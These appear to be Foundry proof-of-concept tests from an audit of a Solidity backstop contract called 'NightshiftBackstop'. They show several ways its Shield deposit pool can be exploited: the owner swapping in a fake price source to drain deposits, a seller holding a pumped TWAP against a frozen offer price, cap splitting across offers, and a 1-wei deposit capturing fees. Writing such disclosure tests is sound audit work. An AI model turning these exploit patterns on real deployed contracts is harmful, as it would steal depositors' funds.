// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract Tok {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// Constant-tick pool stand-in with a settable tick.
contract Pool {
    address public token0;
    address public token1;
    int24 public tick;
    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }
    function setTick(int24 t) external { tick = t; }
    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](ago.length); l = new uint160[](ago.length);
        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));
    }
}

contract PocOwnerDrain is Test {
    NightshiftBackstop bs;
    Tok imd;
    Tok usdc;
    Pool pool;
    address owner = makeAddr("owner");
    address seller = makeAddr("seller");
    address bob = makeAddr("bob");
    address mallory = makeAddr("mallory");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new Tok();
        usdc = new Tok();
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        pool = new Pool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));
        address[3] memory u = [seller, bob, mallory];
        for (uint256 i; i < 3; ++i) {
            usdc.mint(u[i], 1_000_000e18);
            vm.startPrank(u[i]);
            imd.approve(address(bs), type(uint256).max);
            usdc.approve(address(bs), type(uint256).max);
            vm.stopPrank();
        }
        imd.mint(seller, 1_000e18);
        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD
    }

    /// a flat 100x price (momentum 0, so the pump filter passes), then sells 1,000 IMD per offer to the Shield.
    function test_ownerDrainsShieldViaPriceSource() public {
        address dep = makeAddr("depositor");
        usdc.mint(dep, 100_000e18);
        vm.startPrank(dep);
        usdc.approve(address(bs), type(uint256).max);
        bs.shieldDeposit(100_000e18);
        vm.stopPrank();

        Pool fake = new Pool(address(imd), address(usdc));
        fake.setTick(address(imd) < address(usdc) ? int24(46_000) : int24(-46_000)); // ~100x
        vm.prank(owner);
        try bs.setPriceSource(address(fake)) {} catch {} // a fixed contract may refuse or delay this
        imd.mint(owner, 10_000e18);
        vm.startPrank(owner);
        imd.approve(address(bs), type(uint256).max);
        uint256[] memory ids = new uint256[](10);
        uint256 n;
        for (uint256 i; i < 10; ++i) {
            try bs.createOffer(1_000e18) returns (uint256 id) { ids[n++] = id; } catch {}
        }
        vm.stopPrank();
        vm.warp(block.timestamp + bs.OFFER_WINDOW());
        for (uint256 i; i < n; ++i) {
            bs.settle(ids[i]);
            vm.prank(owner);
            bs.claimSeller(ids[i]);
        }
        (uint256 left, uint256 tokGain,,) = bs.shieldPosition(dep);
        emit log_named_uint("owner USDC taken from Shield", usdc.balanceOf(owner));
        emit log_named_uint("depositor USDC left", left);
        emit log_named_uint("depositor IMD received", tokGain);
        // Fair value of IMD is 1 quote (the canonical pool sits at tick 0). Deposit + IMD received
        // valued at that price must not fall by more than 1 % of the 100,000 deposited.
        assertGe(left + tokGain, 99_000e18, "owner moved Shield deposits through setPriceSource");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract Tok {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// Constant-tick pool stand-in with a settable tick.
contract Pool {
    address public token0;
    address public token1;
    int24 public tick;
    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }
    function setTick(int24 t) external { tick = t; }
    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](ago.length); l = new uint160[](ago.length);
        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));
    }
}

contract PocLateShield is Test {
    NightshiftBackstop bs;
    Tok imd;
    Tok usdc;
    Pool pool;
    address owner = makeAddr("owner");
    address seller = makeAddr("seller");
    address bob = makeAddr("bob");
    address mallory = makeAddr("mallory");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new Tok();
        usdc = new Tok();
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        pool = new Pool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));
        address[3] memory u = [seller, bob, mallory];
        for (uint256 i; i < 3; ++i) {
            usdc.mint(u[i], 1_000_000e18);
            vm.startPrank(u[i]);
            imd.approve(address(bs), type(uint256).max);
            usdc.approve(address(bs), type(uint256).max);
            vm.stopPrank();
        }
        imd.mint(seller, 1_000e18);
        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD
    }

    /// must not displace bids placed inside the window.
    function test_postDeadlineShieldDepositDisplacesBidders() public {
        vm.prank(seller);
        uint256 id = bs.createOffer(1_000e18); // 100 lots of 10 IMD, lotCost 9.5e18 at tick 0
        vm.prank(bob);
        uint256 bidId = bs.placeBid(id, 100);

        vm.warp(block.timestamp + bs.OFFER_WINDOW()); // bidding closed
        vm.expectRevert(NightshiftBackstop.BiddingClosed.selector);
        vm.prank(mallory);
        bs.placeBid(id, 1); // bidding is closed (mallory also holds no IMD)

        vm.prank(mallory);
        bs.shieldDeposit(950e18); // after the deadline, no holder check
        bs.settle(id);

        vm.prank(bob);
        bs.claimBid(bidId);
        vm.prank(mallory);
        bs.shieldClaimGains();
        emit log_named_uint("bob IMD received", imd.balanceOf(bob) - 1e18);
        emit log_named_uint("mallory IMD received", imd.balanceOf(mallory));
        assertEq(imd.balanceOf(mallory), 0, "late Shield depositor took lots from the closed offer");
        assertEq(imd.balanceOf(bob), 1e18 + 1_000e18, "bob's fully-covering bid was cut");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract Tok {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// Constant-tick pool stand-in with a settable tick.
contract Pool {
    address public token0;
    address public token1;
    int24 public tick;
    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }
    function setTick(int24 t) external { tick = t; }
    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](ago.length); l = new uint160[](ago.length);
        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));
    }
}

contract PocNoPriceBound is Test {
    NightshiftBackstop bs;
    Tok imd;
    Tok usdc;
    Pool pool;
    address owner = makeAddr("owner");
    address seller = makeAddr("seller");
    address bob = makeAddr("bob");
    address mallory = makeAddr("mallory");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new Tok();
        usdc = new Tok();
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        pool = new Pool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));
        address[3] memory u = [seller, bob, mallory];
        for (uint256 i; i < 3; ++i) {
            usdc.mint(u[i], 1_000_000e18);
            vm.startPrank(u[i]);
            imd.approve(address(bs), type(uint256).max);
            usdc.approve(address(bs), type(uint256).max);
            vm.stopPrank();
        }
        imd.mint(seller, 1_000e18);
        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD
    }

    /// source says and the seller had no way to bound it.
    function test_createOfferHasNoPriceBound() public {
        (uint256 expected,,) = bs.quoteLot(10e18);
        Pool other = new Pool(address(imd), address(usdc));
        other.setTick(address(imd) < address(usdc) ? int24(-46_000) : int24(46_000));
        vm.prank(owner);
        bs.setPriceSource(address(other));
        vm.prank(seller);
        uint256 id = bs.createOffer(1_000e18);
        uint256 got = bs.getOffer(id).lotCost;
        emit log_named_uint("expected lotCost", expected);
        emit log_named_uint("actual lotCost", got);
        assertGe(got * 100, expected * 99, "offer escrowed at a price far below what the seller saw");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract Tok {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 a) external {
        balanceOf[to] += a;
    }

    function approve(address s, uint256 a) external returns (bool) {
        allowance[msg.sender][s] = a;
        return true;
    }

    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }

    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a;
        balanceOf[f] -= a;
        balanceOf[to] += a;
        return true;
    }
}

/// @dev Uniswap v3 pool stand-in with a flat TWAP at `tick`.
contract FlatPool {
    address public token0;
    address public token1;
    int24 public tick;

    constructor(address a, address b) {
        (token0, token1) = a < b ? (a, b) : (b, a);
    }

    function set(int24 t) external {
        tick = t;
    }

    function observe(uint32[] calldata) external view returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](4);
        l = new uint160[](4);
        c[1] = int56(tick) * 1800;
        c[2] = c[1] + int56(tick) * 1800;
        c[3] = c[2] + int56(tick) * 1800;
    }
}

/// Once the only Shield depositor has withdrawn everything, rounding dust keeps shieldTotalDeposits > 0,
/// so 80 % of every later fee is credited to G for nobody instead of going to the treasury.
contract ShieldDustFeeTest is Test {
    Tok imd;
    Tok usdc;
    NightshiftBackstop bs;
    address owner = makeAddr("owner");
    address seller = makeAddr("seller");
    address bidder = makeAddr("bidder");
    address shielder = makeAddr("shielder");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new Tok();
        usdc = new Tok();
        // Launch values: 1,000 IMD minimum offer, 10,000 USDC Shield cap per offer, no holder check.
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1000e18, 10_000e6, 0);
        FlatPool pool = new FlatPool(address(imd), address(usdc));
        // ~3.15 USDC per IMD (mainnet pool tick 264331, USDC is token0 there).
        pool.set(address(imd) < address(usdc) ? int24(-264331) : int24(264331));
        vm.prank(owner);
        bs.setPriceSource(address(pool));
        address[3] memory u = [seller, bidder, shielder];
        for (uint256 i; i < 3; ++i) {
            imd.mint(u[i], 1_000_000e18);
            usdc.mint(u[i], 1_000_000e6);
            vm.startPrank(u[i]);
            imd.approve(address(bs), type(uint256).max);
            usdc.approve(address(bs), type(uint256).max);
            vm.stopPrank();
        }
    }

    function test_feeGoesToTreasuryOnceShieldIsEmptied() public {
        // 1. One depositor, 1,000.000007 USDC. One offer, Shield absorbs 15 lots.
        vm.prank(shielder);
        bs.shieldDeposit(1_000_000_007); // 1,000.000007 USDC
        vm.prank(seller);
        uint256 id1 = bs.createOffer(1_000e18);
        vm.warp(block.timestamp + 1 hours);
        bs.settle(id1);
        assertEq(bs.getOffer(id1).shieldLots, 15);

        // 2. After the lock, the depositor withdraws their whole compounded deposit.
        vm.warp(block.timestamp + 30 days);
        (uint256 dep,,,) = bs.shieldPosition(shielder);
        vm.prank(shielder);
        bs.shieldWithdraw(dep);
        (uint256 left,,,) = bs.shieldPosition(shielder);
        assertEq(left, 0, "no depositor left");
        uint256 dust = bs.shieldTotalDeposits();
        assertGt(dust, 0, "rounding dust stays counted as deposits");

        // 3. A new offer filled by a bidder: the Shield is empty, so the README says the whole fee is treasury's.
        uint256 treasuryBefore = bs.treasuryAccrued();
        vm.prank(seller);
        uint256 id2 = bs.createOffer(1_000e18);
        vm.prank(bidder);
        bs.placeBid(id2, 100);
        vm.warp(block.timestamp + 1 hours);
        bs.settle(id2);
        NightshiftBackstop.Offer memory o = bs.getOffer(id2);
        uint256 fee = 100 * o.lotCost - o.sellerProceeds;
        assertGt(fee, 0);
        assertEq(bs.treasuryAccrued() - treasuryBefore, fee, "treasury should receive the whole fee");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract ProofERC20 {
    uint8 public immutable decimals;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(uint8 d) {
        decimals = d;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 a = allowance[from][msg.sender];
        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Uniswap v3 pool stand-in: a flat tick-0 history, so one token unit is worth one quote unit.
contract ProofPool {
    address public token0;
    address public token1;

    constructor(address a, address b) {
        (token0, token1) = a < b ? (a, b) : (b, a);
    }

    function observe(uint32[] calldata secondsAgos) external pure returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](secondsAgos.length);
        l = new uint160[](secondsAgos.length);
        for (uint256 i; i < c.length; ++i) {
            c[i] = 1_000_000;
        }
    }
}

/// @notice Shows that once the Shield holds only rounding dust, 80 % of every later fee is credited to
/// `shieldG` against that dust and is claimable by nobody; the treasury gets only 20 % although the
/// README says the whole fee goes to the treasury when the Shield is empty.
contract ShieldDustStrandsFeesTest is Test {
    NightshiftBackstop internal bs;
    ProofERC20 internal imd;
    ProofERC20 internal usdc;

    address internal owner = makeAddr("owner");
    address internal seller = makeAddr("seller");
    address internal alice = makeAddr("alice");
    address internal shielder = makeAddr("shielder");

    uint256 internal constant OFFER = 1_000e18; // lot size 10e18
    uint256 internal constant LOT_COST = 9.5e18; // tick 0, zero momentum, 5 % discount

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new ProofERC20(18);
        usdc = new ProofERC20(18);
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 0);
        ProofPool pool = new ProofPool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));

        address[3] memory users = [seller, alice, shielder];
        for (uint256 i; i < users.length; ++i) {
            imd.mint(users[i], 100_000e18);
            usdc.mint(users[i], 1_000_000e18);
            vm.startPrank(users[i]);
            imd.approve(address(bs), type(uint256).max);
            usdc.approve(address(bs), type(uint256).max);
            vm.stopPrank();
        }
    }

    function test_feeIsStrandedWhenShieldHoldsOnlyDust() public {
        // 1. One depositor puts 3 lots' worth of quote into the Shield.
        vm.prank(shielder);
        bs.shieldDeposit(3 * LOT_COST);

        // 2. An offer with no bids: the Shield absorbs exactly one lot (half of 3 lots, floored).
        vm.prank(seller);
        uint256 id1 = bs.createOffer(OFFER);
        assertEq(bs.getOffer(id1).lotCost, LOT_COST, "lot cost");
        vm.warp(block.timestamp + bs.OFFER_WINDOW());
        bs.settle(id1);
        assertEq(bs.getOffer(id1).shieldLots, 1, "shield took one lot");

        // 3. After the lock the depositor withdraws everything they are owed. P was floored, so the
        //    compounded deposit is 19 wei short of the Shield's book total: dust that nobody owns.
        vm.warp(block.timestamp + bs.SHIELD_MIN_LOCK());
        (uint256 dep,,,) = bs.shieldPosition(shielder);
        vm.prank(shielder);
        bs.shieldWithdraw(dep);
        (uint256 depAfter,,,) = bs.shieldPosition(shielder);
        assertEq(depAfter, 0, "depositor fully out");
        uint256 dust = bs.shieldTotalDeposits();
        assertGt(dust, 0, "dust remains on the book");
        assertLt(dust, 1e6, "and it is only dust");

        // 4. A normal offer: 50 lots bought by a bidder. Nobody is in the Shield.
        vm.prank(seller);
        uint256 id2 = bs.createOffer(OFFER);
        vm.prank(alice);
        bs.placeBid(id2, 50);
        vm.warp(block.timestamp + bs.OFFER_WINDOW());
        uint256 treasuryBefore = bs.treasuryAccrued();
        bs.settle(id2);

        NightshiftBackstop.Offer memory o = bs.getOffer(id2);
        assertEq(o.shieldLots, 0, "shield absorbed nothing");
        uint256 gross = o.filledLots * o.lotCost;
        uint256 fee = (gross * bs.TRADE_FEE_BPS() + bs.BPS() - 1) / bs.BPS();

        // Expected (README "If the Shield is empty, the whole fee goes to the treasury"): the treasury
        // accrues the full fee. Actual: only 20 % reaches it; the other 80 % is written to shieldG
        // against `dust` wei of deposits and can never be claimed by anyone.
        assertEq(bs.treasuryAccrued() - treasuryBefore, fee, "whole fee reaches the treasury");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract ProofERC20 {
    uint8 public immutable decimals;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(uint8 d) {
        decimals = d;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 a = allowance[from][msg.sender];
        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Uniswap v3 pool stand-in: cumulatives for a fixed past and present mean tick.
contract ProofPool {
    address public token0;
    address public token1;
    int24 public tickPast;
    int24 public tickNow;

    constructor(address a, address b) {
        (token0, token1) = a < b ? (a, b) : (b, a);
    }

    function setTicks(int24 past, int24 now_) external {
        tickPast = past;
        tickNow = now_;
    }

    function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory c, uint160[] memory l) {
        uint32 w = secondsAgos[2];
        uint32 gap = secondsAgos[1] - secondsAgos[2];
        c = new int56[](4);
        l = new uint160[](4);
        c[0] = 1_000_000;
        c[1] = c[0] + int56(tickPast) * int56(uint56(w));
        c[2] = c[1] + int56(tickNow) * int56(uint56(gap > w ? gap - w : 0));
        c[3] = c[2] + int56(tickNow) * int56(uint56(w));
    }
}

/// @notice The Shield buys at the price frozen when the offer was created and never re-checks it.
/// A seller who moves the pool TWAP (both windows, so momentum is 0 and the pump filter passes) for
/// the 90 minutes before `createOffer`, then lets the price return, sells the Shield tokens at 10x
/// the pool price it reads at settlement. The Shield is a forced buyer with no opt-out.
contract ShieldStalePriceProof is Test {
    NightshiftBackstop internal bs;
    ProofERC20 internal imd;
    ProofERC20 internal usdc;
    ProofPool internal pool;

    address internal owner = makeAddr("owner");
    address internal attacker = makeAddr("attacker");
    address internal depositor = makeAddr("depositor");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new ProofERC20(18);
        usdc = new ProofERC20(18);
        // minOfferSize 1000 IMD, shieldPerOfferCap 10_000 quote, 1 IMD holder floor (README values).
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        pool = new ProofPool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));

        usdc.mint(depositor, 10_000e18);
        imd.mint(attacker, 1_000e18);
        vm.prank(depositor);
        usdc.approve(address(bs), type(uint256).max);
        vm.prank(attacker);
        imd.approve(address(bs), type(uint256).max);
    }

    /// @dev IMD price multiplier in ticks, sign-corrected for the pool's token order.
    function _setPrice(int24 ticks) internal {
        int24 t = address(imd) < address(usdc) ? ticks : -ticks;
        pool.setTicks(t, t);
    }

    function test_shieldBuysAtTenTimesTheSettlementPrice() public {
        vm.prank(depositor);
        bs.shieldDeposit(10_000e18);

        // Fair price: tick 0, 1 IMD = 1 quote. The attacker held the pool at ~10x for 90 minutes:
        // both TWAP windows read tick 23027 (1.0001^23027 ~ 10.0), momentum 0, discount 5 %.
        _setPrice(23027);
        vm.prank(attacker);
        uint256 id = bs.createOffer(1_000e18);
        NightshiftBackstop.Offer memory o = bs.getOffer(id);
        assertTrue(o.shieldEligible, "pump filter does not see a held pump");
        assertEq(o.discountBps, 500);
        assertGt(o.lotCost, 90e18); // ~95 quote per 10 IMD lot, fair is 10

        // Price returns to fair right after creation; the frozen lotCost does not.
        _setPrice(0);
        vm.warp(block.timestamp + 1 hours);
        bs.settle(id);

        o = bs.getOffer(id);
        (uint256 fairLotCost,,) = bs.quoteLot(o.lotSize);
        uint256 shieldSpent = 10_000e18 - bs.shieldTotalDeposits();
        uint256 fairValue = o.shieldLots * o.lotSize; // 1 IMD = 1 quote at settlement
        emit log_named_uint("shield lots bought", o.shieldLots);
        emit log_named_uint("quote the Shield paid", shieldSpent);
        emit log_named_uint("pool value of those tokens at settlement", fairValue);
        emit log_named_uint("fair lotCost at settlement", fairLotCost);

        vm.prank(attacker);
        bs.claimSeller(id);
        emit log_named_uint("quote the attacker received", usdc.balanceOf(attacker));

        // Expected: the Shield does not buy lots priced above what the pool is worth when it buys.
        assertEq(o.shieldLots, 0, "Shield bought at a frozen price 10x the settlement TWAP");
        assertEq(bs.shieldTotalDeposits(), 10_000e18, "Shield deposits spent on a stale price");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract ProofERC20 {
    uint8 public immutable decimals;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(uint8 d) {
        decimals = d;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 a = allowance[from][msg.sender];
        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract ProofPool {
    address public token0;
    address public token1;

    constructor(address a, address b) {
        (token0, token1) = a < b ? (a, b) : (b, a);
    }

    /// @dev Flat tick 0: 1 IMD = 1 quote, zero momentum.
    function observe(uint32[] calldata) external pure returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](4);
        l = new uint160[](4);
        for (uint256 i; i < 4; ++i) {
            c[i] = 1_000_000;
        }
    }
}

/// @notice `SHIELD_MAX_FUNDS_USE_BPS` (50 % of deposits) and `shieldPerOfferCap` are enforced per offer.
/// One seller creating several offers in one block at one frozen price makes the Shield spend 50 %,
/// then 50 % of the rest, and so on: five offers commit 95 % of the Shield to a single price point.
contract ShieldCapSplitProof is Test {
    NightshiftBackstop internal bs;
    ProofERC20 internal imd;
    ProofERC20 internal usdc;

    address internal owner = makeAddr("owner");
    address internal seller = makeAddr("seller");
    address internal depositor = makeAddr("depositor");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new ProofERC20(18);
        usdc = new ProofERC20(18);
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);
        ProofPool pool = new ProofPool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));

        usdc.mint(depositor, 1_000e18);
        imd.mint(seller, 5_000e18);
        vm.prank(depositor);
        usdc.approve(address(bs), type(uint256).max);
        vm.prank(seller);
        imd.approve(address(bs), type(uint256).max);
    }

    function test_fiveOffersInOneBlockSpendNinetyFivePercentOfTheShield() public {
        vm.prank(depositor);
        bs.shieldDeposit(1_000e18);

        uint256[5] memory ids;
        vm.startPrank(seller);
        for (uint256 i; i < 5; ++i) {
            ids[i] = bs.createOffer(1_000e18); // same block, same lotCost = 9.5e18
        }
        vm.stopPrank();

        vm.warp(block.timestamp + 1 hours);
        for (uint256 i; i < 5; ++i) {
            bs.settle(ids[i]);
        }

        uint256 left = bs.shieldTotalDeposits();
        emit log_named_uint("Shield deposits before", 1_000e18);
        emit log_named_uint("Shield deposits after one block of offers", left);
        emit log_named_uint("lots bought offer 1", bs.getOffer(ids[0]).shieldLots);
        emit log_named_uint("lots bought offer 5", bs.getOffer(ids[4]).shieldLots);

        // Expected per README: at most 50 % of deposits is spent at one price point.
        assertGe(left, 500e18, "Shield spent more than 50 % of deposits at one frozen price");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract ProofERC20 {
    uint8 public immutable decimals;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(uint8 d) {
        decimals = d;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 a = allowance[from][msg.sender];
        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract ProofPool {
    address public token0;
    address public token1;

    constructor(address a, address b) {
        (token0, token1) = a < b ? (a, b) : (b, a);
    }

    function observe(uint32[] calldata) external pure returns (int56[] memory c, uint160[] memory l) {
        c = new int56[](4);
        l = new uint160[](4);
        for (uint256 i; i < 4; ++i) {
            c[i] = 1_000_000;
        }
    }
}

/// @notice `settle` gives 80 % of the fee to the Shield whenever `shieldTotalDeposits != 0`, whether or
/// not the Shield absorbed anything. A 1 wei deposit (the Shield then buys 0 lots) redirects 80 % of
/// every trade fee from the treasury to the 1 wei depositor.
contract ShieldFeeOneWeiProof is Test {
    NightshiftBackstop internal bs;
    ProofERC20 internal imd;
    ProofERC20 internal usdc;

    address internal owner = makeAddr("owner");
    address internal seller = makeAddr("seller");
    address internal bidder = makeAddr("bidder");
    address internal griefer = makeAddr("griefer");

    function setUp() public {
        vm.warp(1_700_000_000);
        imd = new ProofERC20(18);
        usdc = new ProofERC20(6);
        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e6, 1e18);
        ProofPool pool = new ProofPool(address(imd), address(usdc));
        vm.prank(owner);
        bs.setPriceSource(address(pool));

        imd.mint(seller, 1_000e18);
        imd.mint(bidder, 1e18);
        usdc.mint(bidder, 1e30); // tick 0 prices a 10 IMD lot at 10e18 quote units
        usdc.mint(griefer, 1);
        vm.prank(seller);
        imd.approve(address(bs), type(uint256).max);
        vm.prank(bidder);
        usdc.approve(address(bs), type(uint256).max);
        vm.prank(griefer);
        usdc.approve(address(bs), type(uint256).max);
    }

    function test_oneWeiDepositTakesEightyPercentOfFees() public {
        vm.prank(griefer);
        bs.shieldDeposit(1); // 0.000001 USDC

        vm.prank(seller);
        uint256 id = bs.createOffer(1_000e18);
        vm.prank(bidder);
        uint256 bidId = bs.placeBid(id, 100);
        vm.warp(block.timestamp + 1 hours);
        bs.settle(id);

        NightshiftBackstop.Offer memory o = bs.getOffer(id);
        uint256 gross = o.filledLots * o.lotCost;
        uint256 fee = (gross * 300 + 9_999) / 10_000;
        (,, uint256 griefGain,) = bs.shieldPosition(griefer);
        emit log_named_uint("Shield lots absorbed", o.shieldLots);
        emit log_named_uint("total fee", fee);
        emit log_named_uint("treasuryAccrued", bs.treasuryAccrued());
        emit log_named_uint("1 wei depositor fee gain", griefGain);

        vm.prank(griefer);
        bs.shieldClaimGains();
        emit log_named_uint("1 wei depositor quote balance after claim", usdc.balanceOf(griefer));
        vm.prank(bidder);
        bs.claimBid(bidId);

        assertEq(o.shieldLots, 0, "Shield absorbed nothing");
        // Expected: a Shield that absorbed nothing (README: empty Shield) leaves the whole fee to the treasury.
        assertEq(bs.treasuryAccrued(), fee, "80 % of the fee went to a 1 wei deposit");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {NightshiftBackstop} from "src/NightshiftBackstop.sol";

contract ProofERC20 {
    uint8 public immutable decimals;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(uint8 d) {
        decimals = d;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
